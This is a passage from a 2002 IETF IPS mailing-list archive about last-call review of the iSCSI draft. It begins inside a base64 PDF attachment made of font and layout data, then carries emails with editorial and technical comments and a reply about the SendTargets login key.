MzMgODg5IDc3OCA2MTEgNzc4IA03NzggMzMzIDMzMyA0NDQgNDQ0IDM1MCA1MDAgMTAwMCAzMzMg OTgwIDM4OSAzMzMgNzIyIDc3OCA0NDQgNzIyIA0yNTAgMzMzIDUwMCA1MDAgNTAwIDUwMCAyMDAg NTAwIDMzMyA3NjAgMjc2IDUwMCA1NjQgMzMzIDc2MCA1MDAgDTQwMCA1NDkgMzAwIDMwMCAzMzMg NTc2IDQ1MyAyNTAgMzMzIDMwMCAzMTAgNTAwIDc1MCA3NTAgNzUwIDQ0NCANNzIyIDcyMiA3MjIg NzIyIDcyMiA3MjIgODg5IDY2NyA2MTEgNjExIDYxMSA2MTEgMzMzIDMzMyAzMzMgMzMzIA03MjIg NzIyIDcyMiA3MjIgNzIyIDcyMiA3MjIgNTY0IDcyMiA3MjIgNzIyIDcyMiA3MjIgNzIyIDU1NiA1 MDAgDTQ0NCA0NDQgNDQ0IDQ0NCA0NDQgNDQ0IDY2NyA0NDQgNDQ0IDQ0NCA0NDQgNDQ0IDI3OCAy NzggMjc4IDI3OCANNTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDU0OSA1MDAgNTAwIDUwMCA1 MDAgNTAwIDUwMCA1MDAgNTAwIA1dDS9FbmNvZGluZyAvV2luQW5zaUVuY29kaW5nDS9Gb250RGVz Y3JpcHRvciA5IDAgUg0+Pg1lbmRvYmoNOSAwIG9iag08PA0vVHlwZSAvRm9udERlc2NyaXB0b3IN L0ZvbnROYW1lIC9UaW1lc05ld1JvbWFuDS9GbGFncyAzNA0vRm9udEJCb3ggWyAtMjUwIC0yMTYg MTE2NSAxMDAwIF0NL01pc3NpbmdXaWR0aCAzMjMNL1N0ZW1WIDczDS9TdGVtSCA3Mw0vSXRhbGlj QW5nbGUgMA0vQ2FwSGVpZ2h0IDg5MQ0vWEhlaWdodCA0NDYNL0FzY2VudCA4OTENL0Rlc2NlbnQg LTIxNg0vTGVhZGluZyAxNDkNL01heFdpZHRoIDk3MQ0vQXZnV2lkdGggNDAxDT4+DWVuZG9iag0x MCAwIG9iag08PA0vVHlwZSAvRm9udA0vU3VidHlwZSAvVHJ1ZVR5cGUNL05hbWUgL0YyDS9CYXNl Rm9udCAvQXJpYWwsQm9sZA0vRmlyc3RDaGFyIDMyDS9MYXN0Q2hhciAyNTUNL1dpZHRocyBbIDI3 OCAzMzMgNDc0IDU1NiA1NTYgODg5IDcyMiAyMzggMzMzIDMzMyAzODkgNTg0IDI3OCAzMzMgMjc4 IDI3OCANNTU2IDU1NiA1NTYgNTU2IDU1NiA1NTYgNTU2IDU1NiA1NTYgNTU2IDMzMyAzMzMgNTg0 IDU4NCA1ODQgNjExIA05NzUgNzIyIDcyMiA3MjIgNzIyIDY2NyA2MTEgNzc4IDcyMiAyNzggNTU2 IDcyMiA2MTEgODMzIDcyMiA3NzggDTY2NyA3NzggNzIyIDY2NyA2MTEgNzIyIDY2NyA5NDQgNjY3 IDY2NyA2MTEgMzMzIDI3OCAzMzMgNTg0IDU1NiANMzMzIDU1NiA2MTEgNTU2IDYxMSA1NTYgMzMz IDYxMSA2MTEgMjc4IDI3OCA1NTYgMjc4IDg4OSA2MTEgNjExIA02MTEgNjExIDM4OSA1NTYgMzMz IDYxMSA1NTYgNzc4IDU1NiA1NTYgNTAwIDM4OSAyODAgMzg5IDU4NCA3NTAgDTU1NiA3NTAgMjc4 IDU1NiA1MDAgMTAwMCA1NTYgNTU2IDMzMyAxMDAwIDY2NyAzMzMgMTAwMCA3NTAgNjExIDc1MCAN NzUwIDI3OCAyNzggNTAwIDUwMCAzNTAgNTU2IDEwMDAgMzMzIDEwMDAgNTU2IDMzMyA5NDQgNzUw IDUwMCA2NjcgDTI3OCAzMzMgNTU2IDU1NiA1NTYgNTU2IDI4MCA1NTYgMzMzIDczNyAzNzAgNTU2 IDU4NCAzMzMgNzM3IDU1MiANNDAwIDU0OSAzMzMgMzMzIDMzMyA1NzYgNTU2IDI3OCAzMzMgMzMz IDM2NSA1NTYgODM0IDgzNCA4MzQgNjExIA03MjIgNzIyIDcyMiA3MjIgNzIyIDcyMiAxMDAwIDcy MiA2NjcgNjY3IDY2NyA2NjcgMjc4IDI3OCAyNzggMjc4IA03MjIgNzIyIDc3OCA3NzggNzc4IDc3 OCA3NzggNTg0IDc3OCA3MjIgNzIyIDcyMiA3MjIgNjY3IDY2NyA2MTEgDTU1NiA1NTYgNTU2IDU1 NiA1NTYgNTU2IDg4OSA1NTYgNTU2IDU1NiA1NTYgNTU2IDI3OCAyNzggMjc4IDI3OCANNjExIDYx MSA2MTEgNjExIDYxMSA2MTEgNjExIDU0OSA2MTEgNjExIDYxMSA2MTEgNjExIDU1NiA2MTEgNTU2 IA1dDS9FbmNvZGluZyAvV2luQW5zaUVuY29kaW5nDS9Gb250RGVzY3JpcHRvciAxMSAwIFINPj4N ZW5kb2JqDTExIDAgb2JqDTw8DS9UeXBlIC9Gb250RGVzY3JpcHRvcg0vRm9udE5hbWUgL0FyaWFs LEJvbGQNL0ZsYWdzIDE2NDE2DS9Gb250QkJveCBbIC0yNTAgLTIxMiAxMTYwIDEwMDAgXQ0vTWlz c2luZ1dpZHRoIDMyMg0vU3RlbVYgMTUzDS9TdGVtSCAxNTMNL0l0YWxpY0FuZ2xlIDANL0NhcEhl aWdodCA5MDUNL1hIZWlnaHQgNDUzDS9Bc2NlbnQgOTA1DS9EZXNjZW50IC0yMTINL0xlYWRpbmcg MTUwDS9NYXhXaWR0aCA5NjcNL0F2Z1dpZHRoIDQ3OQ0+Pg1lbmRvYmoNMTIgMCBvYmoNPDwNL1R5 cGUgL0ZvbnQNL1N1YnR5cGUgL1RydWVUeXBlDS9OYW1lIC9GMw0vQmFzZUZvbnQgL1RpbWVzTmV3 Um9tYW4sQm9sZA0vRmlyc3RDaGFyIDMyDS9MYXN0Q2hhciAyNTUNL1dpZHRocyBbIDI1MCAzMzMg NTU1IDUwMCA1MDAgMTAwMCA4MzMgMjc4IDMzMyAzMzMgNTAwIDU3MCAyNTAgMzMzIDI1MCAyNzgg DTUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDUwMCAzMzMgMzMzIDU3MCA1NzAg NTcwIDUwMCANOTMwIDcyMiA2NjcgNzIyIDcyMiA2NjcgNjExIDc3OCA3NzggMzg5IDUwMCA3Nzgg NjY3IDk0NCA3MjIgNzc4IA02MTEgNzc4IDcyMiA1NTYgNjY3IDcyMiA3MjIgMTAwMCA3MjIgNzIy IDY2NyAzMzMgMjc4IDMzMyA1ODEgNTAwIA0zMzMgNTAwIDU1NiA0NDQgNTU2IDQ0NCAzMzMgNTAw IDU1NiAyNzggMzMzIDU1NiAyNzggODMzIDU1NiA1MDAgDTU1NiA1NTYgNDQ0IDM4OSAzMzMgNTU2 IDUwMCA3MjIgNTAwIDUwMCA0NDQgMzk0IDIyMCAzOTQgNTIwIDc3OCANNTAwIDc3OCAzMzMgNTAw IDUwMCAxMDAwIDUwMCA1MDAgMzMzIDEwMDAgNTU2IDMzMyAxMDAwIDc3OCA2NjcgNzc4IA03Nzgg MzMzIDMzMyA1MDAgNTAwIDM1MCA1MDAgMTAwMCAzMzMgMTAwMCAzODkgMzMzIDcyMiA3NzggNDQ0 IDcyMiANMjUwIDMzMyA1MDAgNTAwIDUwMCA1MDAgMjIwIDUwMCAzMzMgNzQ3IDMwMCA1MDAgNTcw IDMzMyA3NDcgNTAwIA00MDAgNTQ5IDMwMCAzMDAgMzMzIDU3NiA1NDAgMjUwIDMzMyAzMDAgMzMw IDUwMCA3NTAgNzUwIDc1MCA1MDAgDTcyMiA3MjIgNzIyIDcyMiA3MjIgNzIyIDEwMDAgNzIyIDY2 NyA2NjcgNjY3IDY2NyAzODkgMzg5IDM4OSAzODkgDTcyMiA3MjIgNzc4IDc3OCA3NzggNzc4IDc3 OCA1NzAgNzc4IDcyMiA3MjIgNzIyIDcyMiA3MjIgNjExIDU1NiANNTAwIDUwMCA1MDAgNTAwIDUw MCA1MDAgNzIyIDQ0NCA0NDQgNDQ0IDQ0NCA0NDQgMjc4IDI3OCAyNzggMjc4IA01MDAgNTU2IDUw MCA1MDAgNTAwIDUwMCA1MDAgNTQ5IDUwMCA1NTYgNTU2IDU1NiA1NTYgNTAwIDU1NiA1MDAgDV0N L0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcNL0ZvbnREZXNjcmlwdG9yIDEzIDAgUg0+Pg1lbmRv YmoNMTMgMCBvYmoNPDwNL1R5cGUgL0ZvbnREZXNjcmlwdG9yDS9Gb250TmFtZSAvVGltZXNOZXdS b21hbixCb2xkDS9GbGFncyAxNjQxOA0vRm9udEJCb3ggWyAtMjUwIC0yMTYgMTE2NSAxMDAwIF0N L01pc3NpbmdXaWR0aCAzMjMNL1N0ZW1WIDEzNg0vU3RlbUggMTM2DS9JdGFsaWNBbmdsZSAwDS9D YXBIZWlnaHQgODkxDS9YSGVpZ2h0IDQ0Ng0vQXNjZW50IDg5MQ0vRGVzY2VudCAtMjE2DS9MZWFk aW5nIDE0OQ0vTWF4V2lkdGggOTcxDS9BdmdXaWR0aCA0MjcNPj4NZW5kb2JqDTE2IDAgb2JqDTw8 DS9UeXBlIC9Gb250DS9TdWJ0eXBlIC9UcnVlVHlwZQ0vTmFtZSAvRjQNL0Jhc2VGb250IC9TeW1i b2wNL0ZpcnN0Q2hhciAzMA0vTGFzdENoYXIgMjU1DS9XaWR0aHMgWyA2MDAgNjAwIDI1MCAzMzMg NzEzIDUwMCA1NDkgODMzIDc3OCA0MzkgMzMzIDMzMyA1MDAgNTQ5IDI1MCA1NDkgDTI1MCAyNzgg NTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDI3OCAyNzggNTQ5IDU0OSAN NTQ5IDQ0NCA1NDkgNzIyIDY2NyA3MjIgNjEyIDYxMSA3NjMgNjAzIDcyMiAzMzMgNjMxIDcyMiA2 ODYgODg5IA03MjIgNzIyIDc2OCA3NDEgNTU2IDU5MiA2MTEgNjkwIDQzOSA3NjggNjQ1IDc5NSA2 MTEgMzMzIDg2MyAzMzMgDTY1OCA1MDAgNTAwIDYzMSA1NDkgNTQ5IDQ5NCA0MzkgNTIxIDQxMSA2 MDMgMzI5IDYwMyA1NDkgNTQ5IDU3NiANNTIxIDU0OSA1NDkgNTIxIDU0OSA2MDMgNDM5IDU3NiA3 MTMgNjg2IDQ5MyA2ODYgNDk0IDQ4MCAyMDAgNDgwIA01NDkgNjAwIDYwMCA2MDAgNjAwIDYwMCA2 MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgDTYwMCA2MDAgNjAwIDYwMCA2 MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCA2MDAgNjAwIDYwMCANNjAwIDYwMCA2 MDAgNjIwIDI0NyA1NDkgMTY3IDcxMyA1MDAgNzUzIDc1MyA3NTMgNzUzIDEwNDIgOTg3IDYwMyAN OTg3IDYwMyA0MDAgNTQ5IDQxMSA1NDkgNTQ5IDcxMyA0OTQgNDYwIDU0OSA1NDkgNTQ5IDU0OSAx MDAwIDYwMyANMTAwMCA2NTggODIzIDY4NiA3OTUgOTg3IDc2OCA3NjggODIzIDc2OCA3NjggNzEz IDcxMyA3MTMgNzEzIDcxMyANNzEzIDcxMyA3NjggNzEzIDc5MCA3OTAgODkwIDgyMyA1NDkgMjUw IDcxMyA2MDMgNjAzIDEwNDIgOTg3IDYwMyANOTg3IDYwMyA0OTQgMzI5IDc5MCA3OTAgNzg2IDcx MyAzODQgMzg0IDM4NCAzODQgMzg0IDM4NCA0OTQgNDk0IA00OTQgNDk0IDYwMCAzMjkgMjc0IDY4 NiA2ODYgNjg2IDM4NCAzODQgMzg0IDM4NCAzODQgMzg0IDQ5NCA0OTQgDTQ5NCA2MDAgXQ0vRm9u dERlc2NyaXB0b3IgMTcgMCBSDT4+DWVuZG9iag0xNyAwIG9iag08PA0vVHlwZSAvRm9udERlc2Ny aXB0b3INL0ZvbnROYW1lIC9TeW1ib2wNL0ZsYWdzIDYNL0ZvbnRCQm94IFsgLTI1MCAtMjIwIDEy NTUgMTAwNSBdDS9NaXNzaW5nV2lkdGggMzM0DS9TdGVtViAxMDkNL1N0ZW1IIDEwOQ0vSXRhbGlj QW5nbGUgMA0vQ2FwSGVpZ2h0IDEwMDUNL1hIZWlnaHQgNTAzDS9Bc2NlbnQgMTAwNQ0vRGVzY2Vu dCAtMjIwDS9MZWFkaW5nIDIyNQ0vTWF4V2lkdGggMTA0Ng0vQXZnV2lkdGggNjAwDT4+DWVuZG9i ag0yIDAgb2JqDVsgL1BERiAvVGV4dCAgXQ1lbmRvYmoNNSAwIG9iag08PA0vS2lkcyBbNCAwIFIg MTggMCBSIDIxIDAgUiBdDS9Db3VudCAzDS9UeXBlIC9QYWdlcw0vTWVkaWFCb3ggWyAwIDAgNjEy IDc5MiBdDT4+DWVuZG9iag0xIDAgb2JqDTw8DS9DcmVhdG9yIDxGRUZGMDA2OTAwNTMwMDQzMDA1 MzAwNDkwMDIwMDAzMTAwMzYwMDIwMDA0MzAwNkYwMDZEMDA2RDAwNjUwMDZFMDA3NDAwNzMwMDJF MDA2NDAwNkYwMDYzMDAyMDAwMkQwMDIwMDA0RDAwNjkwMDYzMDA3MjAwNkYwMDczMDA2RjAwNjYw MDc0MDAyMDAwNTcwMDZGMDA3MjAwNjQ+DS9DcmVhdGlvbkRhdGUgKEQ6MjAwMjA4MjMxNzMwMjMp DS9UaXRsZSA8RkVGRjAwNjkwMDUzMDA0MzAwNTMwMDQ5MDAyMDAwMzEwMDM2MDAyMDAwNDMwMDZG MDA2RDAwNkQwMDY1MDA2RTAwNzQwMDczMDAyRTAwNjQwMDZGMDA2Mz4NL0F1dGhvciA8RkVGRjAw NjIwMDY2MDA2RjAwNzIwMDYyMDA2NTAwNzM+DS9Qcm9kdWNlciAoQWNyb2JhdCBQREZXcml0ZXIg NS4wIGZvciBXaW5kb3dzIE5UKQ0+Pg1lbmRvYmoNMyAwIG9iag08PA0vUGFnZXMgNSAwIFINL1R5 cGUgL0NhdGFsb2cNPj4NZW5kb2JqDXhyZWYNMCAyNA0wMDAwMDAwMDAwIDY1NTM1IGYgDTAwMDAw MTg3MTMgMDAwMDAgbiANMDAwMDAxODU4NCAwMDAwMCBuIA0wMDAwMDE5MTI1IDAwMDAwIG4gDTAw MDAwMDQxNDMgMDAwMDAgbiANMDAwMDAxODYxNSAwMDAwMCBuIA0wMDAwMDExODQ3IDAwMDAwIG4g DTAwMDAwMTI5MzIgMDAwMDAgbiANMDAwMDAxMzE4NSAwMDAwMCBuIA0wMDAwMDE0Mjc0IDAwMDAw IG4gDTAwMDAwMTQ1MzQgMDAwMDAgbiANMDAwMDAxNTYyNSAwMDAwMCBuIA0wMDAwMDE1ODg4IDAw MDAwIG4gDTAwMDAwMTY5ODkgMDAwMDAgbiANMDAwMDAwMDAxOSAwMDAwMCBuIA0wMDAwMDA0MTIy IDAwMDAwIG4gDTAwMDAwMTcyNjAgMDAwMDAgbiANMDAwMDAxODMyNiAwMDAwMCBuIA0wMDAwMDA4 NzgwIDAwMDAwIG4gDTAwMDAwMDQzMDkgMDAwMDAgbiANMDAwMDAwODc1OSAwMDAwMCBuIA0wMDAw MDExNjkyIDAwMDAwIG4gDTAwMDAwMDg5MzUgMDAwMDAgbiANMDAwMDAxMTY3MSAwMDAwMCBuIA10 cmFpbGVyDTw8DS9TaXplIDI0DS9Sb290IDMgMCBSDS9JbmZvIDEgMCBSDS9JRCBbPGJhYzYxYTI2 NTQ2MzllYmY4NGM5YTNkM2VhOTVmNzUxPjxiYWM2MWEyNjU0NjM5ZWJmODRjOWEzZDNlYTk1Zjc1 MT5dDT4+DXN0YXJ0eHJlZg0xOTE3NA0lJUVPRg0= ------_=_NextPart_000_01C24B06.50EB9AA0-- From owner-ips@ece.cmu.edu Fri Aug 23 21:11:36 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21937 for ; Fri, 23 Aug 2002 21:11:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7O0uaZ24551 for ips-outgoing; Fri, 23 Aug 2002 20:56:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7O0uYo24546 for ; Fri, 23 Aug 2002 20:56:34 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id RAA03240; Fri, 23 Aug 2002 17:56:25 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 23 Aug 2002 17:56:26 -0700 Message-ID: From: Brian Forbes To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: IPS WG Last Call: Structural Improvements Date: Fri, 23 Aug 2002 17:56:25 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk First, let me say that the document continues to improve, and I think the technical issues are winding down. Julian deserves our appreciation for having shown so much patience and attention to detail. In the past I've suggested in private discussions that the document has significant readability and/or structural challenges. One of the esteemed WG co-chairs has challenged me to be more specific. To be more specific & constructive, and to see whether there is support from others for these suggestions, here goes: - The topic of login needs an overview section that introduces concepts such as session phases, connection phases, session types, declarations vs. negotiations, and login stages. Much of the terminology is introduced on the fly. - There should be many more cross-references in a document this size. - For readability, any comma-separated list of more than 2 or 3 items should be expressed as a list of bullets instead. Examples abound in the state diagrams. - There are many cases where an English phrase is used as a euphemism for well-defined iSCSI term. One example is the use of a phrase like 'the maximum length of unsolicited data negotiated during login' instead of 'FirstBurstLength'. Such euphemisms might be justified early in an overview, before the iSCSI term has been introduced, but anywhere else it leaves the reader wondering. At a minimum, euphemisms should be supplemented by appending the iSCSI term in parentheses, and in many cases a forward section reference is also in order. It also suggests that more iSCSI terms should be introduced (but not necessarily defined in detail) earlier in the text; e.g. frequently-mentioned key names. - There seem to be cases where new terminology/notation would be very useful. There are many phrases of the form 'an X having the Y bit set to 1'; when multiples of these appear in the same sentence-and they do- parsing becomes difficult. One could define a flavor of X that implies having the Y bit set; e.g. one could define a 'final Data-out PDU' as a PDU having the F bit set. - Several sections are quite long and contain multiple topics. Ideally, any section longer than a page or two should be broken up, especially if there is no other relief such as tables, bullets, or diagrams. (Julian has recently done this in 2.4) IMHO the single biggest improvement would be a tutorial introduction to Section 4 that starts with the most basic concepts and terminology. Brian Forbes Brocade Communications -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, August 12, 2002 8:05 AM To: ips@ece.cmu.edu Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Dear All, As for the first WG Last Call you will find at: http://www.haifa.il.ibm.com/satran/ips A list of issues and their resolution and the "running version 16" in pdf and text. Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM ----- Elizabeth Rodriguez Sent by: owner-ips@ece.cmu.edu 08/12/2002 12:01 AM To: "'ips@ece.cmu.edu'" cc: Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th All, We would like to announce IPS WG last call on the iSCSI draft. This is the second WG last call, and all comments from the first WG last call period should be addressed by this draft. (Note: Addressed means that all comments were considered, not necessarily accepted.) The last call period is for two weeks, ending at 5pm EST on Sunday, August 25th. Editorial comments may be directly sent to Julian Satran (Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com). Technical comments should be sent to the IPS mailing list for discussion. There are two versions of the document available: Text: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt PDF: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf The two documents should be identical, but the official version is the text version. Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs From owner-ips@ece.cmu.edu Fri Aug 23 21:12:11 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21997 for ; Fri, 23 Aug 2002 21:12:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7O15e624866 for ips-outgoing; Fri, 23 Aug 2002 21:05:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.brocade.com (sj6-b.brocade.com [63.121.140.220]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7O15co24861 for ; Fri, 23 Aug 2002 21:05:38 -0400 (EDT) Received: from hq-ex-c3.brocade.com (hq-ex-c3 [192.168.126.211]) by mail.brocade.com (8.8.8+Sun/8.8.8) with ESMTP id SAA03494; Fri, 23 Aug 2002 18:05:30 -0700 (PDT) Received: by hq-ex-c3.brocade.com with Internet Mail Service (5.5.2653.19) id ; Fri, 23 Aug 2002 18:05:30 -0700 Message-ID: From: Brian Forbes To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE:iSCSIPS WG Last Call: Technical Issues Date: Fri, 23 Aug 2002 18:05:30 -0700 X-Mailer: Internet Mail Service (5.5.2653.19) Sender: owner-ips@ece.cmu.edu Precedence: bulk The technical issues seems to be converging nicely. A couple I would like to see fixed: 1) Section 4.3.1, last paragraph on page 73: the use of MUST in the final sentence is untestable and should be lower case 2) Section 9.16.5, 2nd paragraph on page 195: the sentence says "has to", which should be a "MUST" 3) In the previous last call, I requested that the effective value of Buffer Offset in the case of immediate data be made explicit (even thought it is obvious); I had thought this had been done, but couldn't locate the fix in version 16; all I need is for someone to point it out to me Brian Forbes Brocade Communications From owner-ips@ece.cmu.edu Fri Aug 23 23:58:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA24572 for ; Fri, 23 Aug 2002 23:58:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7O3PBt29788 for ips-outgoing; Fri, 23 Aug 2002 23:25:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7O3P9o29783 for ; Fri, 23 Aug 2002 23:25:09 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7O3P05x029626; Sat, 24 Aug 2002 05:25:00 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7O3OxSh105922; Sat, 24 Aug 2002 05:25:00 +0200 To: Brian Forbes Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sat, 24 Aug 2002 06:24:56 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 24/08/2002 06:24:59, Serialize complete at 24/08/2002 06:24:59 Content-Type: multipart/alternative; boundary="=_alternative 00124B73C2256C1F_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00124B73C2256C1F_= Content-Type: text/plain; charset="us-ascii" Thanks - Julo Brian Forbes 08/24/2002 03:36 AM To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Hi, Julian, attached is a list of issues; all but 2 of them are editorial. I'll post the technical issues in a separate e-mail Regards, Brian Forbes Brocade Communications -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Monday, August 12, 2002 8:05 AM To: ips@ece.cmu.edu Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th Dear All, As for the first WG Last Call you will find at: http://www.haifa.il.ibm.com/satran/ips A list of issues and their resolution and the "running version 16" in pdf and text. Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM ----- Elizabeth Rodriguez Sent by: owner-ips@ece.cmu.edu 08/12/2002 12:01 AM To: "'ips@ece.cmu.edu'" cc: Subject: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday, Augu st 25th All, We would like to announce IPS WG last call on the iSCSI draft. This is the second WG last call, and all comments from the first WG last call period should be addressed by this draft. (Note: Addressed means that all comments were considered, not necessarily accepted.) The last call period is for two weeks, ending at 5pm EST on Sunday, August 25th. Editorial comments may be directly sent to Julian Satran (Julian_Satran@il.ibm.com), with copy to myself (erodrigu@brocade.com), David Black (black_david@emc.com) and John Hufferd (hufferd@us.ibm.com). Technical comments should be sent to the IPS mailing list for discussion. There are two versions of the document available: Text: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt PDF: http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf The two documents should be identical, but the official version is the text version. Thanks, Elizabeth Rodriguez & David Black, IPS co-chairs #### BRCD_iSCSI_16_Comments.pdf has been removed from this note on August 24 2002 by Julian Satran --=_alternative 00124B73C2256C1F_= Content-Type: text/html; charset="us-ascii"
Thanks - Julo


Brian Forbes <bforbes@brocade.com>

08/24/2002 03:36 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu
        cc:        
        Subject:        RE: IPS-ALL: IPS WG Last Call on the iSCSI draft -- ends Sunday,         Augu        st 25th

       





Hi,  Julian, attached is a list of issues; all but 2 of them are editorial.   I'll post the technical issues in a separate e-mail

Regards,

Brian Forbes
Brocade Communications
-----Original Message-----
From: Julian Satran  [mailto:Julian_Satran@il.ibm.com]
Sent: Monday, August 12, 2002 8:05  AM
To: ips@ece.cmu.edu
Subject: IPS-ALL: IPS WG Last Call  on the iSCSI draft -- ends Sunday, Augu st 25th


Dear All,

As for the first WG Last Call you will find at:

http://www.haifa.il.ibm.com/satran/ips  

A list of issues and their resolution and  the "running version 16" in pdf and text.

Julo
-----  Forwarded by Julian Satran/Haifa/IBM on 08/12/2002 08:49 AM -----
Elizabeth Rodriguez  <erodrigu@Brocade.COM>
Sent by: owner-ips@ece.cmu.edu  

08/12/2002 12:01 AM
       
        To:         "'ips@ece.cmu.edu'" <ips@ece.cmu.edu>  
        cc:         
         Subject:        IPS-ALL: IPS WG  Last Call on the iSCSI draft -- ends Sunday, Augu         st 25th

        


All,

We would like to announce IPS WG last call on the iSCSI  draft.
This is the second WG last call, and all comments from the first WG  last
call period should be addressed by this draft.
(Note:   Addressed means that all comments were considered, not  necessarily
accepted.)

The last call period is for two weeks, ending  at 5pm EST on Sunday, August
25th.
Editorial comments may be directly  sent to Julian Satran
(Julian_Satran@il.ibm.com), with copy to myself  (erodrigu@brocade.com),
David Black (black_david@emc.com) and John Hufferd  (hufferd@us.ibm.com).
Technical comments should be sent to the IPS mailing  list for discussion.

There are two versions of the document  available:
Text:   http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.txt
PDF:   http://www.ietf.org/internet-drafts/draft-ietf-ips-iscsi-15.pdf

The  two documents should be identical, but the official version is the  text
version.

Thanks,

Elizabeth Rodriguez & David  Black,
IPS co-chairs







#### BRCD_iSCSI_16_Comments.pdf has been removed from this note on August 24 2002 by Julian Satran

--=_alternative 00124B73C2256C1F_=-- From owner-ips@ece.cmu.edu Sat Aug 24 11:04:35 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12114 for ; Sat, 24 Aug 2002 11:04:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7OEZP200897 for ips-outgoing; Sat, 24 Aug 2002 10:35:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7ODoGo29306 for ; Sat, 24 Aug 2002 09:50:16 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g7ODnj3e026153; Sat, 24 Aug 2002 09:49:45 -0400 Received: from localhost (rdr@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g7ODnjqX026150; Sat, 24 Aug 2002 09:49:45 -0400 Date: Sat, 24 Aug 2002 09:49:45 -0400 (EDT) From: "Robert D. Russell" To: shesha bhushan cc: cdeng@iol.unh.edu, , Subject: Re: SendTarget Options in UNH v-.11 code. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi Shesha: There is no problem to be fixed here -- everything is performing exactly as it is supposed to! According to the standard, the SendTargets key can ONLY be sent during Full Feature Phase. Therefore, when the initiator sends it during login (because of the iscsi_manage command you used), the target correctly gives an error and terminates the login. The initiator, 